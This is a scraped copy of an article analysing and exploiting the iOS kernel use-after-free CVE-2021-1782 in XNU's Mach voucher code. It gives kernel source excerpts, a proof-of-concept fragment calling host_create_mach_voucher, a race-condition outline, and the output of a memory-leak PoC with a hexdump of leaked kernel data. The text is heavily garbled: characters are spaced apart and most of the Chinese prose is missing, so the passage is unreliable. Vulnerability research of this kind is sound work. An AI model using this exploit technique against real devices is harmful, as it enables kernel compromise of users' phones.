[28840] 2021-04-04_IOS内核漏洞CVE-2021-1782的分析和利用

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-04-04_IOS内核漏洞CVE-2021-1782的分析和利用 I O S C V E - 2 0 2 1 - 1 7 8 2 L u c a   M o r o   O t s   2 0 2 1 - 0 4 - 0 4 C V E - 2 0 2 1 - 1 7 8 2 P o C T L   /   D R b u g P o C @   M o d e r n P w n e r i O S   1 4 . 4 C V E - 2 0 2 1 - 1 7 8 2 C V E - 2 0 2 1 - 1 8 7 0 C V E - 2 0 2 1 - 1 8 7 0 W e b K i t C V E - 2 0 2 1 - 1 7 8 2 C V E - 2 0 2 1 - 1 7 8 2 @   s 1 g u z a u s e r _ d a t a _ g e t _ v a l u e ( ) X N U x n u - 7 1 9 5 . 8 1 . 3 u s e r _ d a t a _ g e t _ v a l u e ( ) e _ m a d e 使 P o C M a c h X N U 访 U a F / o s f m k / i p c / i p c _ v o u c h e r . c M a c h m a c h   p o r t m a c h _ v o u c h e r _ t 使 s t r u c t i p c _ v o u c h e r I P C 使 X N U 4 b a n k s i p c _ i m p o r t a n c e i p c _ t h r e a d _ p r i o r i t y u s e r _ d a t a u s e r _ d a t a m a c h _ v o u c h e r _ a t t r _ k e y _ t 使 访   b a n k M A C H _ V O U C H E R _ A T T R _ K E Y _ B A N K i p c _ v o u c h e r _ a t t r _ m a n a g e r _ t s w i t c h   ( c o m m a n d )   { c a s e   M A C H _ V O U C H E R _ A T T R _ R E D E E M :         / *   r e d e e m   o f   p r e v i o u s   v a l u e s   i s   t h e   v a l u e   * /         i f   ( 0   <   p r e v _ v a l u e _ c o u n t )   {                 e l e m   =   ( u s e r _ d a t a _ e l e m e n t _ t ) p r e v _ v a l u e s [ 0 ] ;                 u s e r _ d a t a _ l o c k ( ) ;                     / /   t h e   l o c k s   w e r e   a d d e d   h e r e   . . .                 a s s e r t ( 0   <   e l e m - > e _ m a d e ) ;                 e l e m - > e _ m a d e + + ;                 u s e r _ d a t a _ u n l o c k ( ) ;                 / /   . . .   a n d   h e r e                 * o u t _ v a l u e   =   ( m a c h _ v o u c h e r _ a t t r _ v a l u e _ h a n d l e _ t ) e l e m ;                 r e t u r n   K E R N _ S U C C E S S ;         }         / *   r e d e e m   o f   d e f a u l t   i s   d e f a u l t   * /         * o u t _ v a l u e   =   0 ;         r e t u r n   K E R N _ S U C C E S S ; s t r u c t   i p c _ v o u c h e r _ a t t r _ m a n a g e r   {         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ r e l e a s e _ v a l u e _ t                 i v a m _ r e l e a s e _ v a l u e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ g e t _ v a l u e _ t                         i v a m _ g e t _ v a l u e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ e x t r a c t _ c o n t e n t _ t             i v a m _ e x t r a c t _ c o n t e n t ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ c o m m a n d _ t                             i v a m _ c o m m a n d ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ r e l e a s e _ t                             i v a m _ r e l e a s e ;         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ f l a g s                                     i v a m _ f l a g s ; } ;
i p c _ v o u c h e r _ a t t r _ c o n t r o l _ t i p c _ r e g i s t e r _ w e l l _ k n o w n _ m a c h _ v o u c h e r _ a t t r _ m a n a g e r ( ) 簿 I P C /   k e r n e l a n d h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t c o m m a n d k e y c o n t e n t p r e v i o u s _ v o u c h e r i p c _ e x e c u t e _ v o u c h e r _ r e c i p e _ c o m m a n d ( ) c o m m a n d c o n t e n t M A C H _ V O U C H E R _ A T T R _ C O P Y 使 使 u s e r _ d a t a 使 M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 使 m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e ( ) s t r u c t   i v a c _ e n t r y _ s k e r n _ r e t u r n _ t   h o s t _ c r e a t e _ m a c h _ v o u c h e r ( m a c h _ p o r t _ n a m e _ t   h o s t ,         m a c h _ v o u c h e r _ a t t r _ r a w _ r e c i p e _ a r r a y _ t   r e c i p e s ,         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ s i z e _ t   r e c i p e s C n t ,         m a c h _ p o r t _ n a m e _ t   * v o u c h e r ) t y p e d e f   s t r u c t   m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a   {         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   k e y ;         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ c o m m a n d _ t             c o m m a n d ;         m a c h _ v o u c h e r _ n a m e _ t                                           p r e v i o u s _ v o u c h e r ;         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 c o n t e n t _ s i z e ;         u i n t 8 _ t                                                                   c o n t e n t [ ] ; }   m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t ; s t r u c t   s t o r e _ r e c i p e   {                 m a c h _ v o u c h e r _ a t t r _ r e c i p e _ d a t a _ t   r e c i p e ;                 u i n t 8 _ t   c o n t e n t [ 1 0 2 4 ] ; } ; s t r u c t   s t o r e _ r e c i p e   r e c i p e   =   { 0 } ; r e c i p e . r e c i p e . k e y   =   M A C H _ V O U C H E R _ A T T R _ K E Y _ U S E R _ D A T A ; r e c i p e . r e c i p e . c o m m a n d   =   M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E ; r e c i p e . r e c i p e . c o n t e n t _ s i z e   =   V O U C H E R _ C O N T E N T _ S I Z E ; s t r c p y ( r e c i p e . c o n t e n t ,   " S Y N A C K T I V " ) ; m a c h _ p o r t _ t   p o r t   =   M A C H _ P O R T _ N U L L ; h o s t _ c r e a t e _ m a c h _ v o u c h e r ( m a c h _ h o s t _ s e l f ( ) ,   & r e c i p e ,   s i z e o f ( r e c i p e ) ,   & p o r t ) ; s t r u c t   i v a c _ e n t r y _ s   {         i v _ v a l u e _ h a n d l e _ t               i v a c e _ v a l u e ;         i v _ v a l u e _ r e f s _ t                   i v a c e _ l a y e r e d : 1 ,           / *   l a y e r e d   e f f e c t i v e   e n t r y   * /                 i v a c e _ r e l e a s i n g : 1 ,                                               / *   r e l e a s e   i n   p r o g r e s s   * /                 i v a c e _ f r e e : 1 ,                                                         / *   o n   f r e e l i s t   * /                 i v a c e _ p e r s i s t : 1 ,                                                   / *   P e r s i s t   t h e   e n t r y ,   d o n ' t   c o u n t   m a d e   r e f s   * /                 i v a c e _ r e f s : 2 8 ;                                                       / *   r e f e r e n c e   c o u n t   * /         u n i o n   {                 i v _ v a l u e _ r e f s _ t   i v a c e u _ m a d e ;                   / *   m a d e   c o u n t   ( n o n - l a y e r e d )   * /                 i v _ i n d e x _ t             i v a c e u _ l a y e r ;                 / *   n e x t   e f f e c t i v e   l a y e r   ( l a y e r e d )   * /         }   i v a c e _ u ;         i v _ i n d e x _ t                             i v a c e _ n e x t ;                     / *   h a s h   o r   f r e e l i s t   * /         i v _ i n d e x _ t                             i v a c e _ i n d e x ;                   / *   h a s h   h e a d   ( i n d e p e n d e n t )   * / } ; t y p e d e f   s t r u c t   i v a c _ e n t r y _ s               i v a c _ e n t r y ; t y p e d e f   i v a c _ e n t r y                             * i v a c _ e n t r y _ t ;
i v a c e _ v a l u e u s e r _ d a t a 使 u s e r _ d a t a _ e l e m e n t _ t i v a c e _ n e x t i v a c e _ i n d e x i v a c _ e n t r y _ t C V E - 2 0 2 1 - 1 7 8 2 i v a c e _ r e f s i v a c e _ m a d e i v a c e _ r e f s i v a c e _ v a l u e i v a c e _ m a d e i v a c e _ m a d e i v a c e _ r e f s 使 i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) i v a c e _ r e f e r e n c e _ b y _ i n d e x ( ) i v _ d e d u p ( ) u s e r _ d a t a _ d e d u p ( ) v o u c h e r _ t u s e r _ d a t a _ g e t _ v a l u e ( ) . i v a m _ g e t _ v a l u e   u s e r _ d a t a u s e r _ d a t a _ e l e m e n t _ t M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 使 u s e r _ d a t a _ e l e m e n t _ t u s e r _ d a t a _ g e t _ v a l u e ( ) M A C H _ V O U C H E R _ A T T R _ R E D E E M 使 u s e r _ d a t a _ g e t _ v a l u e ( ) e _ m a d e u s e r _ d a t a _ d e d u p ( ) u s e r _ d a t a _ l o c k ( ) 使 e _ m a d e h o s t _ c r e a t e _ m a c h _ v o u c h e r ( M A C H _ V O U C H E R _ A T T R _ R E D E E M u s e r _ d a t a _ e l e m e n t _ t u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) u s e r _ d a t a _ e l e m e n t _ t . i v a m _ r e l e a s e _ v a l u e i v a c e _ r e l e a s e ( ) i v a c _ e n t r y _ t t y p e d e f   i v a c _ e n t r y                             * i v a c _ e n t r y _ t ; # d e f i n e   i v a c e _ m a d e                             i v a c e _ u . i v a c e u _ m a d e # d e f i n e   i v a c e _ l a y e r                           i v a c e _ u . i v a c e u _ l a y e r s t r u c t   u s e r _ d a t a _ v a l u e _ e l e m e n t   {         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t           e _ m a d e ;         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 e _ s i z e ;         i v _ i n d e x _ t                                                             e _ s u m ;         i v _ i n d e x _ t                                                             e _ h a s h ;         q u e u e _ c h a i n _ t                                                       e _ h a s h _ l i n k ;         u i n t 8 _ t                                                                   e _ d a t a [ ] ; } ; t y p e d e f   s t r u c t   u s e r _ d a t a _ v a l u e _ e l e m e n t   * u s e r _ d a t a _ e l e m e n t _ t ; s t a t i c   v o i d   i v a c e _ r e l e a s e (         i v _ i n d e x _ t   k e y _ i n d e x ,         i v _ i n d e x _ t   v a l u e _ i n d e x ) {         / /   [ . . . ]         i p c _ v o u c h e r _ a t t r _ c o n t r o l _ t   i v a c ;         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t   m a d e ;         i v a c _ e n t r y _ t   i v a c e ;         / /   [ . . . ]         i v g t _ l o o k u p ( k e y _ i n d e x ,   F A L S E ,   & i v a m ,   & i v a c ) ;                                                                                             [ 1 ]         i v a c _ l o c k ( i v a c ) ;         / /   [ . . . ]         i v a c e   =   & i v a c - > i v a c _ t a b l e [ v a l u e _ i n d e x ] ;                                                                                                       [ 2 ]         / /   [ . . . ]         i f   ( 0   <   - - i v a c e - > i v a c e _ r e f s )   {                                                                                                                         [ 3 ]                 i v a c _ u n l o c k ( i v a c ) ;                 r e t u r n ;         }         / /   [ . . . ]         v a l u e   =   i v a c e - > i v a c e _ v a l u e ;                                                                                                                               [ 4 ] r e d r i v e :         / /   [ . . . ]         m a d e   =   i v a c e - > i v a c e _ m a d e ;         i v a c _ u n l o c k ( i v a c ) ;                                                                                                                                                 [ 5 ]         k r   =   ( i v a m - > i v a m _ r e l e a s e _ v a l u e ) ( i v a m ,   k e y ,   v a l u e ,   m a d e ) ;                                                                     [ 6 ]
[ 1 ] u s e r _ d a t a _ m a n a g e r [ 2 ] [ 3 ] [ 4 ] u s e r _ d a t a _ e l e m e n t _ t [ 5 ] i v a c i v a c e - >   i v a c e _ m a d e [ 6 ] u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) i v a c e - > i v a c e _ m a d e [ 7 ] [ 5 ]   [ 8 ] i v a c e i v a c u s e r _ d a t a _ r e l e a s e _ v a l u e ( ) i v a c e - > i v a c e _ m a d e s y n c s y n c e l e m - > e _ m a d e e l e m e l e m - > e _ m a d e i v a c e - > i v a c e _ m a d e 便 i v a c e _ r e l e a s e ( )         i v a c _ l o c k ( i v a c ) ;         i v a c e   =   & i v a c - > i v a c _ t a b l e [ v a l u e _ i n d e x ] ;         / *           *   n e w   m a d e   v a l u e s   r a c e d   w i t h   t h i s   r e t u r n .     I f   t h e           *   m a n a g e r   O K ' e d   t h e   p r i o r   r e l e a s e ,   w e   h a v e   t o   s t a r t           *   t h e   m a d e   n u m b e r i n g   o v e r   a g a i n   ( p r e t e n d   t h e   r a c e           *   d i d n ' t   h a p p e n ) .   I f   t h e   e n t r y   h a s   z e r o   r e f s   a g a i n ,           *   r e - d r i v e   t h e   r e l e a s e .           * /                                                                                                                                                                                             [ 7 ]         / /   [ . . . ]                                                                                                                                                                                                                                                                                                                                                                 [ 8 ]         / /   [ . . . ]                                                                                                                                                                             / *   P u t   t h i s   e n t r y   o n   t h e   f r e e l i s t   * /         i v a c e - > i v a c e _ v a l u e   =   0 x d e a d c 0 d e d e a d c 0 d e ;         i v a c e - > i v a c e _ r e l e a s i n g   =   F A L S E ;         i v a c e - > i v a c e _ f r e e   =   T R U E ;         i v a c e - > i v a c e _ m a d e   =   0 ;         i v a c e - > i v a c e _ n e x t   =   i v a c - > i v a c _ f r e e l i s t ;         i v a c - > i v a c _ f r e e l i s t   =   v a l u e _ i n d e x ;         i v a c _ u n l o c k ( i v a c ) ;         i v a c _ r e l e a s e ( i v a c ) ;         r e t u r n ; } s t a t i c   k e r n _ r e t u r n _ t u s e r _ d a t a _ r e l e a s e _ v a l u e (         i p c _ v o u c h e r _ a t t r _ m a n a g e r _ t                             _ _ a s s e r t _ o n l y   m a n a g e r ,         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   _ _ a s s e r t _ o n l y   k e y ,         m a c h _ v o u c h e r _ a t t r _ v a l u e _ h a n d l e _ t                 v a l u e ,         m a c h _ v o u c h e r _ a t t r _ v a l u e _ r e f e r e n c e _ t           s y n c ) {         / /   [ . . . ]         u s e r _ d a t a _ l o c k ( ) ;         i f   ( s y n c   = =   e l e m - > e _ m a d e )   {                 q u e u e _ r e m o v e ( & u s e r _ d a t a _ b u c k e t [ h a s h ] ,   e l e m ,   u s e r _ d a t a _ e l e m e n t _ t ,   e _ h a s h _ l i n k ) ;                 u s e r _ d a t a _ u n l o c k ( ) ;                 k f r e e ( e l e m ,   s i z e o f ( * e l e m )   +   e l e m - > e _ s i z e ) ;                 r e t u r n   K E R N _ S U C C E S S ;         }         a s s e r t ( s y n c   <   e l e m - > e _ m a d e ) ;         u s e r _ d a t a _ u n l o c k ( ) ;         r e t u r n   K E R N _ F A I L U R E ; }
i v a c e - > i v a c e _ m a d e e l e m - > e _ m a d e u s e r _ d a t a _ e l e m e n t _ t 使 i v a c e - > i v a c e _ m a d e i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) e l e m - > e _ m a d e u s e r _ d a t a _ g e t _ v a l u e ( ) 使 M A C H _ V O U C H E R _ A T T R _ R E D E E M M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E 使 i p c _ r e p l a c e _ v o u c h e r _ v a l u e ( ) / *   *     R o u t i n e :         i p c _ r e p l a c e _ v o u c h e r _ v a l u e   *     P u r p o s e :   *             R e p l a c e   t h e   < v o u c h e r ,   k e y >   v a l u e   w i t h   t h e   r e s u l t s   o f   *             r u n n i n g   t h e   s u p p l i e d   c o m m a n d   t h r o u g h   t h e   r e s o u r c e   *             m a n a g e r ' s   g e t - v a l u e   c a l l b a c k .   *     C o n d i t i o n s :   *             N o t h i n g   l o c k e d   ( m a y   i n v o k e   u s e r - s p a c e   r e p e a t e d l y ) .   *             C a l l e r   h o l d s   r e f e r e n c e s   o n   v o u c h e r   a n d   p r e v i o u s   v o u c h e r .   * / s t a t i c   k e r n _ r e t u r n _ t i p c _ r e p l a c e _ v o u c h e r _ v a l u e (         i p c _ v o u c h e r _ t                                                       v o u c h e r ,         m a c h _ v o u c h e r _ a t t r _ k e y _ t                                   k e y ,         m a c h _ v o u c h e r _ a t t r _ r e c i p e _ c o m m a n d _ t             c o m m a n d ,         i p c _ v o u c h e r _ t                                                       p r e v _ v o u c h e r ,         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ t                           c o n t e n t ,         m a c h _ v o u c h e r _ a t t r _ c o n t e n t _ s i z e _ t                 c o n t e n t _ s i z e ) {         / /   [ . . . ]         / *   s a v e   t h e   c u r r e n t   v a l u e   s t o r e d   i n   t h e   f o r m i n g   v o u c h e r   * /         s a v e _ v a l _ i n d e x   =   i v _ l o o k u p ( v o u c h e r ,   k e y _ i n d e x ) ;         / *           *   G e t   t h e   p r e v i o u s   v a l u e ( s )   f o r   t h i s   k e y   c r e a t i o n .           *   I f   a   p r e v i o u s   v o u c h e r   i s   s p e c i f i e d ,   t h e y   c o m e   f r o m   t h e r e .           *   O t h e r w i s e ,   t h e y   c o m e   f r o m   t h e   i n t e r m e d i a t e   v a l u e s   a l r e a d y           *   i n   t h e   f o r m i n g   v o u c h e r .           * /         p r e v _ v a l _ i n d e x   =   ( I V _ N U L L   ! =   p r e v _ v o u c h e r )   ?                 i v _ l o o k u p ( p r e v _ v o u c h e r ,   k e y _ i n d e x )   :                 s a v e _ v a l _ i n d e x ;         i v a c e _ l o o k u p _ v a l u e s ( k e y _ i n d e x ,   p r e v _ v a l _ i n d e x ,                                                       / /   [ 1 ]                 p r e v i o u s _ v a l s ,   & p r e v i o u s _ v a l s _ c o u n t ) ;         / *   C a l l   o u t   t o   r e s o u r c e   m a n a g e r   t o   g e t   n e w   v a l u e   * /         n e w _ v a l u e _ v o u c h e r   =   I V _ N U L L ;         k r   =   ( i v a m - > i v a m _ g e t _ v a l u e ) (                                                                                           / /   [ 2 ]                 i v a m ,   k e y ,   c o m m a n d ,                 p r e v i o u s _ v a l s ,   p r e v i o u s _ v a l s _ c o u n t ,                 c o n t e n t ,   c o n t e n t _ s i z e ,                 & n e w _ v a l u e ,   & n e w _ f l a g ,   & n e w _ v a l u e _ v o u c h e r ) ;         / /   [ . . . ]         / *           *   F i n d   o r   c r e a t e   a   s l o t   i n   t h e   t a b l e   a s s o c i a t e d           *   w i t h   t h i s   a t t r i b u t e   v a l u e .     T h e   i v a c   r e f e r e n c e           *   i s   t r a n s f e r r e d   t o   a   n e w   v a l u e ,   o r   c o n s u m e d   i f           *   w e   f i n d   a   m a t c h i n g   e x i s t i n g   v a l u e .
[ 1 ]   N U L L a v o u c h e r   m a c h i v a c e 使 i v a c e [ 2 ] 使           * /         v a l _ i n d e x   =   i v a c e _ r e f e r e n c e _ b y _ v a l u e ( i v a c ,   n e w _ v a l u e ,   n e w _ f l a g ) ;                 / /   [ 3 ]         i v _ s e t ( v o u c h e r ,   k e y _ i n d e x ,   v a l _ i n d e x ) ;                                                                             / *           *   r e l e a s e   s a v e d   o l d   v a l u e   f r o m   t h e   n e w l y   f o r m i n g   v o u c h e r           *   T h i s   i s   s a v e d   u n t i l   t h e   e n d   t o   a v o i d   c h u r n i n g   t h e           *   r e l e a s e   l o g i c   i n   c a s e s   w h e r e   t h e   s a m e   v a l u e   i s   r e t u r n e d           *   a s   w a s   t h e r e   b e f o r e .           * /         i v a c e _ r e l e a s e ( k e y _ i n d e x ,   s a v e _ v a l _ i n d e x ) ;                                                               / /   [ 4 ]         r e t u r n   K E R N _ S U C C E S S ; } i v a c _ e n t r y _ t p r e v _ v o u c h e r u s e r _ d a t a _ e l e m e n t _ t p r e v i o u s _ v a l s p r e v i o u s _ v a l s . i v a c e _ r e f s p r e v _ v o u c h e r v o u c h e r p r e v i o u s _ v a l s M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E p r e v _ v o u c h e r p r e v _ v o u c h e r v o u c h e r _ t M A C H _ V O U C H E R _ A T T R _ C O P Y M A C H _ V O U C H E R _ A T T R _ R E D E E M i p c _ e x e c u t e _ v o u c h e r _ r e c i p e _ c o m m a n d ( ) i v a c e _ r e f e r e n c e _ b y _ v a l u e ( ) i v a c e _ r e f e r e n c e _ b y _ i n d e x ( ) u s e r _ d a t a _ g e t _ v a l u e ( )
使 a [ 2 ] [ 3 ] [ 4 ] 使 C V E - 2 0 2 1 - 1 7 8 2 使 i v a c [ 2 ]     1 线 2 使 u s e r _ d a t a 使   A A A A M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E u s e r _ d a t a _ e l e m e n t _ t M A C H _ V O U C H E R _ A T T R _ R E D E E M u s e r _ d a t a _ e l e m e n t _ t n e w _ v a l u e [ 0 ] - > e _ m a d e i v a c _ e n t r y _ t i v a c e - > i v a c e _ r e f s i v a c e - > i v a c e _ m a d e i v a c _ e n t r y _ t u s e r _ d a t a _ e l e m e n t _ t i v a c _ e n t r y _ t n e w _ v a l u e [ 0 ] - > e _ m a d e i v a c _ e n t r y _ t   y e t . u s e r _ d a t a _ e l e m e n t _ t   U 0 i v a c _ e n t r y _ t   I V A C 0 v o u c h e r _ t   V 0 U 0 . e _ c o n t e n t   =   " A A A A "   / /   c h o s e n   v a l u e U 0 . e _ m a d e   =   N   / /   u n k n o w n I V A C 0 . i v a c e _ r e f s   =   1 I V A C 0 . i v a c e _ m a d e   =   N + 1   / /   t h a n k s   t o   t h e   v u l n e r a b i l i t y m a c h _ p o r t _ d e s t r o y ( m a c h _ t a s k _ s e l f ( ) ,   V 0 ) i v a c e _ r e l e a s e ( ) I V A C 0 h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) M A C H _ V O U C H E R _ A T T R _ U S E R _ D A T A _ S T O R E V 0
1 .   线 2 [ 1 ] I V A C 0 2 .   线 2 [ 2 ] U 0 . e _ m a d e N   +   1 3 .   线 1 便 4 .   线 2 [ 3 ] 使 5 .   线 2 U a F h t t p s : / / g i t h u b . c o m / s y n a c k t i v / C V E - 2 0 2 1 - 1 7 8 2 i O S   1 3 P O C P O C 使 B r a n d o n   A z a d @ _ b a z a d i o s u r f a c e . c I V A C 0 . i v a c e _ r e l e a s e ( ) u s e r _ d a t a _ r e l e a s e _ v a l u e I V A C 0 . i v a c e _ m a d e U 0 . e _ m a d e U 0 i v a c _ e n t r y _ t n e w _ v a l u e v o u c h e r _ t u s e r _ d a t a _ e l e m e n t _ t . i v a c e _ r e l e a s e ( ) u s e r _ d a t a _ e l e m e n t _ t O S D a t a u s e r _ d a t a _ e l e m e n t _ t . e _ s i z e m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e ( ) - b a s h - 3 . 2 #   . / v o u c h e r _ l e a k   1 0 0 0 0 [ + ]   l e g i t   r e c i p e _ s i z e : 1 0 2 4 [ + ]   a t t e m p t   n u m b e r : 0 [ + ]   U a F   a f t e r   1   a t t e m p t s [ + ]   r e c i p e _ s i z e   w a s   c o r r u p t e d : 0 x 1 3 f f   i n s t e a d   o f   0 x 4 0 0 ! 0 7   0 0   0 0   0 0   D 3   0 0   0 0   0 0     0 0   0 0   0 0   0 0   E F   1 3   0 0   0 0     |     . . . . . . . . . . . . . . . .   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   / /   [ . . . ] 4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     |     A A A A A A A A A A A A A A A A   4 1   4 1   4 1   4 1   4 1   4 1   4 1   4 1     4 1   4 1   4 1   4 1   4 1   4 1   4 1   0 0     |     A A A A A A A A A A A A A A A .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   5 7   0 5   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . W . . . . . .   4 E   C C   0 0   0 0   0 0   0 0   0 0   0 0     0 0   5 7   0 5   0 0   0 0   0 0   0 0   0 0     |     N . . . . . . . . W . . . . . .  
0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 2   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     5 F   5 F   7 5   6 E   7 7   6 9   6 E   6 4     |     . . . . . . . . _ _ u n w i n d   0 0   0 0   0 0   0 0   F F   0 0   0 0   0 0     8 0   4 7   C 1   8 2   0 2   0 0   0 0   0 0     |     . . . . . . . . . G . . . . . .   E F   B E   A D   D E   0 0   0 0   0 0   0 0     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   9 2   E E   B 7   D 7   C 9   E E   F F   C 0     0 0   4 A   1 7   0 2   E 0   F F   F F   F F     |     . . . . . . . . . J . . . . . .   0 0   B C   1 E   0 2   E 0   F F   F F   F F     0 0   1 6   0 1   0 3   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   0 0   2 A   0 1   0 3   E 0   F F   F F   F F     0 0   3 8   0 1   0 3   E 0   F F   F F   F F     |     . * . . . . . . . 8 . . . . . .   0 0   1 0   0 1   0 3   E 0   F F   F F   F F     0 0   3 4   0 1   0 3   E 0   F F   F F   F F     |     . . . . . . . . . 4 . . . . . .   0 0   3 E   0 1   0 3   E 0   F F   F F   F F     0 0   3 C   0 1   0 3   E 0   F F   F F   F F     |     . > . . . . . . . < . . . . . .   0 0   3 A   0 1   0 3   E 0   F F   F F   F F     0 0   A 6   1 3   0 3   E 0   F F   F F   F F     |     . : . . . . . . . . . . . . . .   0 0   7 8   0 6   0 2   E 0   F F   F F   F F     0 0   8 0   0 D   0 2   E 0   F F   F F   F F     |     . x . . . . . . . . . . . . . .   0 0   A C   0 D   0 2   E 0   F F   F F   F F     0 0   B A   1 3   0 3   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   / /   [ . . . ] E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     2 F   7 0   7 2   6 5   6 6   6 5   7 2   6 5     |     . . . . . . . . / p r e f e r e   6 E   6 3   6 5   7 3   2 F   6 3   6 F   6 D     2 E   6 1   7 0   7 0   6 C   6 5   2 E   6 E     |     n c e s / c o m . a p p l e . n   6 5   7 4   7 7   6 F   7 2   6 B   6 5   7 8     7 4   6 5   6 E   7 3   6 9   6 F   6 E   2 E     |     e t w o r k e x t e n s i o n .   7 5   7 5   6 9   6 4   6 3   6 1   6 3   6 8     6 5   2 E   7 0   6 C   6 9   7 3   7 4   0 0     |     u u i d c a c h e . p l i s t .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     E F   B E   A D   D E   E F   B E   A D   D E     |     . . . . . . . . . . . . . . . .   E F   B E   A D   D E   E F   B E   A D   D E     9 2   E E   B 7   D 7   C 9   E E   F F   C 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 